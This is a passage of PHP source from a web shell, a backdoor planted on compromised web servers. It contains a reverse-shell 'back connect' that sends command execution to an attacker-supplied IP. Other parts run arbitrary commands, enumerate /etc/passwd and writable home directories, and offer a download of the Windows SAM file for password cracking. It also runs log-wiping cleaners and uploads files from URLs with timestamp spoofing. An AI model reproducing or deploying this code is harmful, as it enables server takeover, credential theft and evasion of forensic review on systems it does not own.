echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."x=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table>";
}
}
if ($x == 'phpback') {
echo "
<b>Usage:</b> nc -vv -l -p 21<br>
<hr>
<form method='POST' action=''><br>
Your IP & Port:<br>
<input type='text' name='ipim' size='15' value=''>
<input type='text' name='portum' size='5' value='21'><br><br>
<input type='submit' value='Connect'><br><br>
<hr>
</form>";
$ipim=$_POST['ipim'];
$portum=$_POST['portum'];
if ($ipim <> "")
{
$mucx=fsockopen($ipim , $portum , $errno, $errstr );
if (!$mucx){
$result = "Error: didnt connect !!!";
}
else {
$zamazing0="
";
fputs ($mucx ,"
Welcome PHP|BaCK Connect
");
fputs($mucx , system("uname -a") .$zamazing0 );
fputs($mucx , system("pwd") .$zamazing0 );
fputs($mucx , system("id") .$zamazing0.$zamazing0 );
while(!feof($mucx)){
fputs ($mucx);
$one="[$";
$two="]";
$result= fgets ($mucx, 8192);
$message=`$result`;
fputs ($mucx, $one. system("whoami") .$two. " " .$message."
");
}
fclose ($mucx);
}
}
}
if ($x == 'findwr') {
$count=0;
set_time_limit(0);
@$passwd=fopen('/etc/passwd','r');
if (!$passwd) {
echo "[-] No Access to /etc/passwd
";
exit;
}
$path_to_public=array();
echo "<html>
";
while(!feof($passwd)) {
$str=fgets($passwd);
$pos=strpos($str,":");
$username=substr($str,0,$pos);
$dirz="/home/$username/public_html/";
if (($username!="")) {
if (is_readable($dirz)) {
array_push($path_to_public,$dirz);
if (is_writeable($dirz)) {
$count++;
echo "<font color=red>[</font><font color=white>R</font><font color=green>W</font><font color=red>]</font> " . $dirz . "<br>
";
}
else echo "<font color=red>[</font><font color=white>R</font><font color=red>]</font> " . $dirz . "<br>
";
}
}
}
echo "[+] Found " . sizeof($path_to_public) . " readable public_html directories.<br><br>
";
if (sizeof($path_to_public) != '0') {
foreach ($path_to_public as $path) {
}
echo "[+] Found " . $count . " writable directories.
";
echo "</html>";
}
function read_dir($path) {
global $count;
if ($handle = opendir($path)) {
while (false !== ($file = readdir($handle))) {
$dr="$path$file/";
if (($file!='.') and ($file!='..') and is_dir($dr)) {
if (is_readable($dr) and is_writeable($dr)) {
echo "[RW] " . $dr . "<br>
";
$count++;
}
read_dir($dr);
}
}
}
}
}
if ($act == 'zap2') { // *nix cleaner
if (is_writable('.')) {
cf($act, $$act); // 'tis pure innovation of optimization :)
chmod($act, 0777);
$cmd = './'.$act; // keep this before $act = 'cmd';
$act = 'cmd';
$cmd_txt = '1';
}else{
echo 'Directory Is Not Writable!<br>';
}
}
if ($act == 'clearlogs') { // windows cleaners
if (is_writable('.')) {
cf($act.'.exe', $$act);
chmod($act.'.exe', 0777);
$cmd = $act.'.exe';
$act = 'cmd';
$cmd_txt = '1';
}else{
echo 'Directory Is Not Writable!<br>';
}
}
if ($x == "phpinfo") {@ob_clean(); phpinfo(); capriv8exit();}
if ($x == "security") {
echo "<div class=barheader>[ Server Security Information ]</div>".
"<table>".
"<tr><td>Open Base Dir</td><td>".$hopenbasedir."</td></tr>";
echo "<td>Password File</td><td>";
if (!$win) {
if ($nixpasswd) {
if ($nixpasswd == 1) {$nixpasswd = 0;}
echo "*nix /etc/passwd:<br>";
if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
echo "<form action=\"".$surl."\"><input type=hidden name=x value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b> <input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\"> <b>To:</b> <input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\"> <input type=submit value=\"View\"></form><br>";
$i = $nixpwd_s;
while ($i < $nixpwd_e) {
$uid = posix_getpwuid($i);
if ($uid) {
$uid["dir"] = "<a href=\"".$surl."x=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>";
echo join(":",$uid)."<br>";
}
$i++;
}
}
else {echo "<a href=\"".$surl."x=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a>";}
}
else {
$v = $_SERVER["WINDIR"]."
epair\sam";
if (file_get_contents($v)) {echo "<td colspan=2><div class=fxerrmsg>You can't crack Windows passwords(".$v.")</div></td></tr>"; }
else {echo "You can crack Windows passwords. <a href=\"".$surl."x=f&f=sam&d=".$_SERVER["WINDIR"]."
epair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ?.</td></tr>";}
}
echo "</td></tr>";
echo "<tr><td>Config Files</td><td>";
if (!$win) {
$v = array(
array("User Domains","/etc/userdomains"),
array("Cpanel Config","/var/cpanel/accounting.log"),
array("Apache Config","/usr/local/apache/conf/httpd.conf"),
array("Apache Config","/etc/httpd.conf"),
array("Syslog Config","/etc/syslog.conf"),
array("Message of The Day","/etc/motd"),
array("Hosts","/etc/hosts")
);
$sep = "/";
}
else {
$windir = $_SERVER["WINDIR"];
$etcdir = $windir . "\system32\drivers\etc\";
$v = array(
array("Hosts",$etcdir."hosts"),
array("Local Network Map",$etcdir."networks"),
array("LM Hosts",$etcdir."lmhosts.sam"),
);
$sep = "\";
}
foreach ($v as $sec_arr) {
$sec_f = substr(strrchr($sec_arr[1], $sep), 1);
$sec_d = rtrim($sec_arr[1],$sec_f);
$sec_full = $sec_d.$sec_f;
$sec_d = rtrim($sec_d,$sep);
if (file_get_contents($sec_full)) {
echo " [ <a href=\"".$surl."x=f&f=$sec_f&d=".urlencode($sec_d)."&ft=txt\"><u><b>".$sec_arr[0]."</b></u></a> ] ";
}
}
echo "</td></tr>";
function displaysecinfo($name,$value) {
if (!empty($value)) {
echo "<tr><td>".$name."</td><td><pre>".wordwrap($value,100)."</pre></td></tr>";
}
}
if (!$win) {
displaysecinfo("OS Version",myshellexec("cat /proc/version"));
displaysecinfo("Kernel Version",myshellexec("sysctl -a | grep version"));
displaysecinfo("Distrib Name",myshellexec("cat /etc/issue.net"));
displaysecinfo("Distrib Name (2)",myshellexec("cat /etc/*-realise"));
displaysecinfo("CPU Info",myshellexec("cat /proc/cpuinfo"));
displaysecinfo("RAM",myshellexec("free -m"));
displaysecinfo("HDD Space",myshellexec("df -h"));
displaysecinfo("List of Attributes",myshellexec("lsattr -a"));
displaysecinfo("Mount Options",myshellexec("cat /etc/fstab"));
displaysecinfo("cURL installed?",myshellexec("which curl"));
displaysecinfo("lynx installed?",myshellexec("which lynx"));
displaysecinfo("links installed?",myshellexec("which links"));
displaysecinfo("fetch installed?",myshellexec("which fetch"));
displaysecinfo("GET installed?",myshellexec("which GET"));
displaysecinfo("perl installed?",myshellexec("which perl"));
displaysecinfo("Where is Apache?",myshellexec("whereis apache"));
displaysecinfo("Where is perl?",myshellexec("whereis perl"));
displaysecinfo("Locate proftpd.conf",myshellexec("locate proftpd.conf"));
displaysecinfo("Locate httpd.conf",myshellexec("locate httpd.conf"));
displaysecinfo("Locate my.conf",myshellexec("locate my.conf"));
displaysecinfo("Locate psybnc.conf",myshellexec("locate psybnc.conf"));
}
else {
displaysecinfo("OS Version",myshellexec("ver"));
displaysecinfo("Account Settings",myshellexec("net accounts"));
}
echo "</table>
";
}
if ($x == "mkfile") {
if ($mkfile != $d) {
if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object already exists!";}
elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied!";}
else {$x = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
}
else {$x = $dspact = "ls";}
}
if ($x == "encoder") {
echo "<script language=\"javascript\">function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script>".
"<form name=\"encoder\" action=\"".$surl."\" method=POST>".
"<input type=hidden name=x value=encoder>".
"<center><table class=contents>".
"<tr><td colspan=4 class=barheader>[ Encoder ]</td>".
"<tr><td colspan=2>Input:</td><td><textarea name=\"encoder_input\" id=\"input\" cols=70 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br>".
"<input type=submit value=\"calculate\"></td></tr>".
"<tr><td rowspan=4>Hashes:</td>";
foreach(array("md5","crypt","sha1","crc32") as $v) {
echo "<td>".$v.":</td><td><input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly></td></tr><tr>";
}
echo "</tr>".
"<tr><td rowspan=2>Url:</td>".
"<td>urlencode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly></td></tr>".
"<tr><td>urldecode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly></td></tr>".
"<tr><td rowspan=2>Base64:</td>".
"<td>base64_encode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></td></tr>".
"<tr><td>base64_decode:</td><td>";
if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"Failed!\" disabled readonly>";}
else {
$debase64 = base64_decode($encoder_input);
$debase64 = str_replace("","[0]",$debase64);
$a = explode("
",$debase64);
$rows = count($a);
$debase64 = htmlspecialchars($debase64);
if ($rows == 1) { echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>"; }
else { $rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>"; }
echo " <a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\">[Send to input]</a>";
}
echo "</td></tr>".
"<tr><td>Base convertations:</td><td>dec2hex</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"";
$c = strlen($encoder_input);
for($i=0;$i<$c;$i++) {
$hex = dechex(ord($encoder_input[$i]));
if ($encoder_input[$i] == "&") {echo $encoder_input[$i];}
elseif ($encoder_input[$i] != "\") {echo "%".$hex;}
}
echo "\" readonly></td></tr><tr><td>Online md5 , sha1 , mysql password cracker<td><a href=\"http://passcracking.com\" target=_blank>Enter</a></td></tr></table></center></form>";
}
if ($x == "fsbuff") {
$arr_copy = $sess_data["copy"];
$arr_cut = $sess_data["cut"];
$arr = array_merge($arr_copy,$arr_cut);
if (count($arr) == 0) {echo "<h2><center>Buffer is empty!</center></h2>";}
else {
$fx_infohead = "File-System Buffer";
$ls_arr = $arr;
$disp_fullpath = TRUE;
$x = "ls";
}
}
?>
<?
if ($x == "search") {
echo "<div class=barheader>[ File-System Search ]</div>";
if (empty($search_in)) {$search_in = $d;}
if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
if (empty($search_text_wwo)) {$search_text_regexp = 0;}
if (!empty($submit)) {
$found = array();
$found_d = 0;
$found_f = 0;
$search_i_f = 0;
$search_i_d = 0;
$a = array(
"name"=>$search_name,
"name_regexp"=>$search_name_regexp,
"text"=>$search_text,
"text_regexp"=>$search_text_regxp,
"text_wwo"=>$search_text_wwo,
"text_cs"=>$search_text_cs,
"text_not"=>$search_text_not
);
$searchtime = getmicrotime();
$in = array_unique(explode(";",$search_in));
foreach($in as $v) {cafsearch($v);}
$searchtime = round(getmicrotime()-$searchtime,4);
if (count($found) == 0) {echo "No files found!";}
else {
$ls_arr = $found;
$disp_fullpath = TRUE;
$x = "ls";
}
}
echo "<table class=contents>".
"<tr><td><form method=POST>".
"<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=x value=\"".$dspact."\">".
"File or folder Name:</td><td><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\"> <input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - Regular Expression</td></tr>".
"<tr><td>Look in (Separate by \";\"):</td><td><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"></td></tr>".
"<tr><td>A word or phrase in the file:</td><td><textarea name=\"search_text\" cols=\"50\" rows=\"5\">".htmlspecialchars($search_text)."</textarea></td></tr>".
"<tr><td></td><td><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> Regular Expression".
" <input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> Whole words only".
" <input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> Case sensitive".
" <input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> Find files NOT containing the text</td></tr>".
"<tr><td></td><td><input type=submit name=submit value=\"Search\"></form></td></tr>".
"</table>";
if ($x == "ls") {
$dspact = $x;
echo "Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b>".
"<hr size=\"1\" noshade>";
}
}
if ($x == "chmod") {
$mode = fileperms($d.$f);
if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}
else {
$form = TRUE;
if ($chmod_submit)
{
$octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
if (chmod($d.$f,$octet)) {$x = "ls"; $form = FALSE; $err = "";}
else {$err = "Can't chmod to ".$octet.".";}
}
if ($form)
{
$perms = parse_perms($mode);
echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=x value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"")."> Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"")."> Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"")."> Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
}
}
}
if ($x == "upload") {
$uploadmess = "";
$uploadpath = str_replace("\",DIRECTORY_SEPARATOR,$uploadpath);
if (empty($uploadpath)) {$uploadpath = $d;}
elseif (substr($uploadpath,-1) != DIRECTORY_SEPARATOR) {$uploadpath .= DIRECTORY_SEPARATOR;}
if (!empty($submit)) {
global $_FILES;
$uploadfile = $_FILES["uploadfile"];
if (!empty($uploadfile["tmp_name"])) {
if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
else {$destin = $userfilename;}
if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {
$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";
}
else { $uploadmess .= "File uploaded successfully!<br>".$uploadpath.$destin; }
}
elseif (!empty($uploadurl)) {
if (!empty($uploadfilename)) {$destin = $uploadfilename;}
else {
$destin = explode("/",$destin);
$destin = $destin[count($destin)-1];
if (empty($destin)) {
$i = 0;
$b = "";
while(file_exists($uploadpath.$destin)) {
if ($i > 0) {$b = "_".$i;}
$destin = "upload".$b;
$i++;
}
}
}
if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorrect URL!</b>";}
else {
$st = getmicrotime();
$content = @file_get_contents($uploadurl);
$dt = round(getmicrotime()-$st,4);
if (!$content) {$uploadmess .= "Can't download file!";}
else {
if ($filestealth) {$stat = stat($uploadpath.$destin);}
$fp = fopen($uploadpath.$destin,"w");
if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";}
else {
fwrite($fp,$content,strlen($content));
fclose($fp);
if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
$uploadmess .= "File saved from ".$uploadurl." !";
}
}
}
}
else { echo "No file to upload!"; }
}
if ($miniform) {
echo "<b>".$uploadmess."</b>";
$x = "ls";
}
else {
echo "<table><tr><td colspan=2 class=barheader>".
"[ File Upload ]</td>".
"<td colspan=2>".$uploadmess."</td></tr>".
"<tr><td><form enctype=\"multipart/form-data\" action=\"".$surl."x=upload&d=".urlencode($d)."\" method=POST>".
"From Your Computer:</td><td><input name=\"uploadfile\" type=\"file\"></td></tr>".
"<tr><td>From URL:</td><td><input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"></td></tr>".
"<tr><td>Target Directory:</td><td><input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"></td></tr>".
"<tr><td>Target File Name:</td><td><input name=uploadfilename size=25></td></tr>".
"<tr><td></td><td><input type=checkbox name=uploadautoname value=1 id=df4> Convert file name to lowercase</td></tr>".
"<tr><td></td><td><input type=submit name=submit value=\"Upload\">".
"</form></td></tr></table>";
}
}
if ($x == "delete") {
$delerr = "";
foreach ($actbox as $v) {
$result = FALSE;
$result = fs_rmobj($v);
if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";}
}
if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;}
$x = "ls";
}
if (!$usefsbuff) {
if (($x == "paste") or ($x == "copy") or ($x == "cut") or ($x == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$usefsbuff\" as TRUE.</center>";}
}
else {
if ($x == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); ca_sess_put($sess_data); $x = "ls"; }
elseif ($x == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); ca_sess_put($sess_data); $x = "ls";}
elseif ($x == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} ca_sess_put($sess_data); $x = "ls";}
if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); ca_sess_put($sess_data);}
elseif ($actpastebuff) {
$psterr = "";
foreach($sess_data["copy"] as $k=>$v) {
$to = $d.basename($v);
if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
if ($copy_unset) {unset($sess_data["copy"][$k]);}
}
foreach($sess_data["cut"] as $k=>$v) {
$to = $d.basename($v);
if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
unset($sess_data["cut"][$k]);
}
ca_sess_put($sess_data);
if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
$x = "ls";
}
elseif ($actarcbuff) {
$arcerr = "";
if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
else {$ext = ".tar.gz";}
if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
$cmdline .= " ".$actarcbuff_path;
$objects = array_merge($sess_data["copy"],$sess_data["cut"]);
foreach($objects as $v) {
$v = str_replace("\",DIRECTORY_SEPARATOR,$v);
if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
if (is_dir($v)) {
if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
$v .= "*";
}
$cmdline .= " ".$v;
}
$tmp = realpath(".");
chdir($d);
$ret = myshellexec($cmdline);
chdir($tmp);
if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";}
$ret = str_replace("
","
",$ret);
$ret = explode("
",$ret);
if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
foreach($sess_data["cut"] as $k=>$v) {
if (in_array($v,$ret)) {fs_rmobj($v);}
unset($sess_data["cut"][$k]);
}
ca_sess_put($sess_data);
if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;}
$x = "ls";
}
elseif ($actpastebuff) {
$psterr = "";
foreach($sess_data["copy"] as $k=>$v) {
$to = $d.basename($v);
if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
if ($copy_unset) {unset($sess_data["copy"][$k]);}
}
foreach($sess_data["cut"] as $k=>$v) {
$to = $d.basename($v);
if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
unset($sess_data["cut"][$k]);
}
ca_sess_put($sess_data);
if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
$x = "ls";
}
}
if ($x == "cmd") {
@chdir($chdir);
if (!empty($submit)) {
echo "<div class=barheader>[ Result of Command Execution ]</div>";
$olddir = realpath(".");
@chdir($d);
$ret = myshellexec($cmd);
$ret = convert_cyr_string($ret,"d","w");
if ($cmd_txt) {
$rows = count(explode("
",$ret))+1;
if ($rows < 10) {$rows = 10; }
if ($msie) { $cols = 113; }
else { $cols = 117;}
echo "<div align=left><pre>".htmlspecialchars($ret)."</pre></div>";
}
else {echo $ret."<br>";}
@chdir($olddir);
}
else {
echo "<b>Command Execution</b>";
if (empty($cmd_txt)) {$cmd_txt = TRUE;}
}
}
if ($x == "ls") {
if (count($ls_arr) > 0) { $list = $ls_arr; }
else {
$list = array();
if ($h = @opendir($d)) {
while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
closedir($h);
}
}
if (count($list) == 0) { echo "<div class=fxerrmsg>Can't open folder (".htmlspecialchars($d).")!</div>";}
else {
$objects = array();
$vd = "f";
if ($vd == "f") {
$objects["head"] = array();
$objects["folders"] = array();
$objects["links"] = array();
$objects["files"] = array();
foreach ($list as $v) {
$o = basename($v);
$row = array();
if ($o == ".") {$row[] = $d.$o; $row[] = "CURDIR";}
elseif ($o == "..") {$row[] = $d.$o; $row[] = "UPDIR";}
elseif (is_dir($v)) {
if (is_link($v)) {$type = "LINK";}
else {$type = "DIR";}
$row[] = $v;
$row[] = $type;
}
elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
$row[] = filemtime($v);
if (!$win) {
$ow = posix_getpwuid(fileowner($v));
$gr = posix_getgrgid(filegroup($v));
$row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
}
$row[] = fileperms($v);
if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
elseif (is_link($v)) {$objects["links"][] = $row;}
elseif (is_dir($v)) {$objects["folders"][] = $row;}
elseif (is_file($v)) {$objects["files"][] = $row;}
$i++;
}
$row = array();
$row[] = "<b>Name</b>";
$row[] = "<b>Size</b>";
$row[] = "<b>Date Modified</b>";
if (!$win) {$row[] = "<b>Owner/Group</b>";}
$row[] = "<b>Perms</b>";
$row[] = "<b>Action</b>";
$parsesort = parsesort($sort);
$sort = $parsesort[0].$parsesort[1];
$k = $parsesort[0];
if ($parsesort[1] != "a") {$parsesort[1] = "d";}
$y = " <a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">";
$y .= "<img src=\"".$surl."x=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>";
$row[$k] .= $y;
for($i=0;$i<count($row)-1;$i++) {
if ($i != $k) {$row[$i] = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";}
}
$v = $parsesort[0];
usort($objects["folders"], "tabsort");
usort($objects["links"], "tabsort");
usort($objects["files"], "tabsort");
if ($parsesort[1] == "d") {
$objects["folders"] = array_reverse($objects["folders"]);
$objects["files"] = array_reverse($objects["files"]);
}
$objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
$tab = array();
$tab["cols"] = array($row);
$tab["head"] = array();
$tab["folders"] = array();
$tab["links"] = array();
$tab["files"] = array();
$i = 0;
foreach ($objects as $a) {
$v = $a[0];
$o = basename($v);
$dir = dirname($v);
if ($disp_fullpath) {$disppath = $v;}
else {$disppath = $o;}
$disppath = str2mini($disppath,60);
if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";}
elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";}
foreach ($regxp_highlight as $r) {
if (ereg($r[0],$o)) {
if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; capriv8exit();}
else {
$r[1] = round($r[1]);
$isdir = is_dir($v);
if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) {
if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
$disppath = $r[2].$disppath.$r[3];
if ($r[4]) {break;}
}
}
}
}
$uo = urlencode($o);
$ud = urlencode($dir);
$uv = urlencode($v);
$row = array();
if ($o == ".") {
$row[] = "<a href=\"".$surl."x=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."x=img&img=small_dir\" border=\"0\"> ".$o."</a>";
$row[] = "CURDIR";
}
elseif ($o == "..") {
$row[] = "<a href=\"".$surl."x=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."x=img&img=ext_lnk\" border=\"0\"> ".$o."</a>";
$row[] = "UPDIR";
}
elseif (is_dir($v)) {
if (is_link($v)) {
$disppath .= " => ".readlink($v);
$type = "LINK";
$row[] = "<a href=\"".$surl."x=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."x=img&img=ext_lnk\" border=\"0\"> [".$disppath."]</a>";
}
else {
$type = "DIR";
$row[] = "<a href=\"".$surl."x=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."x=img&img=small_dir\" border=\"0\"> [".$disppath."]</a>";
}
$row[] = $type;
}
elseif(is_file($v)) {
$ext = explode(".",$o);
$c = count($ext)-1;
$ext = $ext[$c];
$ext = strtolower($ext);
$row[] = "<a href=\"".$surl."x=f&f=".$uo."&d=".$ud."\"><img src=\"".$surl."x=img&img=ext_".$ext."\" border=\"0\"> ".$disppath."</a>";
$row[] = view_size($a[1]);
}
$row[] = date("d.m.Y H:i:s",$a[2]);
if (!$win) {$row[] = $a[3];}
$row[] = "<a href=\"".$surl."x=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>";
if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}
else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}
if (is_dir($v)) {$row[] = "<a href=\"".$surl."x=d&d=".$uv."\"><img src=\"".$surl."x=img&img=ext_diz\" alt=\"Info\" border=\"0\"></a> ".$checkbox;}
else {$row[] = "<a href=\"".$surl."x=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."x=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a> <a href=\"".$surl."x=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."x=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a> <a href=\"".$surl."x=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."x=img&img=download\" alt=\"Download\" border=\"0\"></a> ".$checkbox;}
if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
elseif (is_link($v)) {$tab["links"][] = $row;}
elseif (is_dir($v)) {$tab["folders"][] = $row;}
elseif (is_file($v)) {$tab["files"][] = $row;}
$i++;
}
}
$table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
echo "<div class=barheader>[ ";
if (!empty($fx_infohead)) { echo $fx_infohead; }
else { echo "Files/Folders (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders)"; }
echo " ]</div>
";
